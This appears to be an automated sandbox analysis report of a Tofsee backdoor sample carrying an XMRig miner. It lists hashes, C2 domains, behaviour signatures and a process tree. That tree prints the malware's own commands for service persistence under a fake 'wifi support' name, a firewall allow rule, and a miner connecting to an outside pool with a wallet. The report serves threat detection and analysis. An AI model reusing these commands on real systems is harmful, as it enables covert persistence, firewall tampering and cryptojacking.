Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-03-2023 12:54

General

  • Target

    file.exe

  • Size

    260KB

  • MD5

    27a71ca98bf0136e20b7e7a20a59882e

  • SHA1

    06094ebd972ad233e649350872eda88b29cbffd7

  • SHA256

    6658d9ff2c6f57b948f1a4f0b66ee5bc19246f32102e60fe6503b3127e7041c3

  • SHA512

    1ef06faf3186ee15c75d950a4521bc79f4a5ac07aa6fceb83500392d1f5c1fc125ab663b50173076b4429c104c0d0c2b0c454e3ee62a1817f61e5d019ec97b0d

  • SSDEEP

    3072:nZ1JP7IfDzrsBrxknL2H0ZYlDJ1iAX6euVG4zE8E1m8L4QQXRb/YRj5WzXv:nJDIQBVknLM0Z2DJ1zk8481P4QQXx

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5032
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\iyeqwksg\
      2⤵
        PID:4140
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\orohyauk.exe" C:\Windows\SysWOW64\iyeqwksg\
        2⤵
          PID:4128
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create iyeqwksg binPath= "C:\Windows\SysWOW64\iyeqwksg\orohyauk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4728
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description iyeqwksg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1476
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start iyeqwksg
          2⤵
          • Launches sc.exe
          PID:2248
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:708
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5032 -s 1348
          2⤵
          • Program crash
          PID:2112
      • C:\Windows\SysWOW64\iyeqwksg\orohyauk.exe
        C:\Windows\SysWOW64\iyeqwksg\orohyauk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5028
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4148
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1716
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5028 -s 556
          2⤵
          • Program crash
          PID:4368
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 5032 -ip 5032
        1⤵
          PID:3388
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 5028 -ip 5028
          1⤵
            PID:3820

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\orohyauk.exe
            Filesize

            13.0MB

            MD5

            89fc6b335151ee807f2817ee8d765bcc

            SHA1

            37e4051ecf1b8a4c555c76fdfbb43e2e2a4e5cc9

            SHA256

            3f60a306cfb6bb81e6f411e1798c62a1c900d25c464f9d29c5591601146b1354

            SHA512

            4462f3e46ae840ce2c0e35afd75da33a54f2396e9a1c6d6ac028c3c8149f4dcefff89a3dd5d7b3fd38bbe6384eabcbc68a72bc369d151fd2ddbbfefd1677ab83

          • C:\Windows\SysWOW64\iyeqwksg\orohyauk.exe
            Filesize

            13.0MB

            MD5

            89fc6b335151ee807f2817ee8d765bcc

            SHA1

            37e4051ecf1b8a4c555c76fdfbb43e2e2a4e5cc9

            SHA256

            3f60a306cfb6bb81e6f411e1798c62a1c900d25c464f9d29c5591601146b1354

            SHA512

            4462f3e46ae840ce2c0e35afd75da33a54f2396e9a1c6d6ac028c3c8149f4dcefff89a3dd5d7b3fd38bbe6384eabcbc68a72bc369d151fd2ddbbfefd1677ab83

          • memory/1716-188-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/1716-199-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/1716-198-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/1716-197-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/1716-196-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/1716-195-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/1716-194-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/1716-193-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/4148-165-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-172-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-153-0x0000000000FE0000-0x0000000000FE6000-memory.dmp
            Filesize

            24KB

          • memory/4148-156-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-159-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-160-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-161-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-163-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-162-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-164-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-166-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-168-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-139-0x0000000000930000-0x0000000000945000-memory.dmp
            Filesize

            84KB

          • memory/4148-169-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-167-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-171-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-170-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-152-0x0000000002800000-0x0000000002A0F000-memory.dmp
            Filesize

            2.1MB

          • memory/4148-173-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-174-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-175-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/4148-176-0x0000000001FD0000-0x0000000001FD5000-memory.dmp
            Filesize

            20KB

          • memory/4148-179-0x0000000001FD0000-0x0000000001FD5000-memory.dmp
            Filesize

            20KB

          • memory/4148-180-0x0000000007700000-0x0000000007B0B000-memory.dmp
            Filesize

            4.0MB

          • memory/4148-183-0x0000000007700000-0x0000000007B0B000-memory.dmp
            Filesize

            4.0MB

          • memory/4148-184-0x0000000001FE0000-0x0000000001FE7000-memory.dmp
            Filesize

            28KB

          • memory/4148-149-0x0000000002800000-0x0000000002A0F000-memory.dmp
            Filesize

            2.1MB

          • memory/4148-148-0x0000000000930000-0x0000000000945000-memory.dmp
            Filesize

            84KB

          • memory/4148-146-0x0000000000930000-0x0000000000945000-memory.dmp
            Filesize

            84KB

          • memory/4148-145-0x0000000000930000-0x0000000000945000-memory.dmp
            Filesize

            84KB

          • memory/4148-144-0x0000000000930000-0x0000000000945000-memory.dmp
            Filesize

            84KB

          • memory/5028-142-0x0000000000400000-0x0000000000704000-memory.dmp
            Filesize

            3.0MB

          • memory/5032-143-0x0000000000400000-0x0000000000704000-memory.dmp
            Filesize

            3.0MB

          • memory/5032-134-0x0000000000880000-0x0000000000893000-memory.dmp
            Filesize

            76KB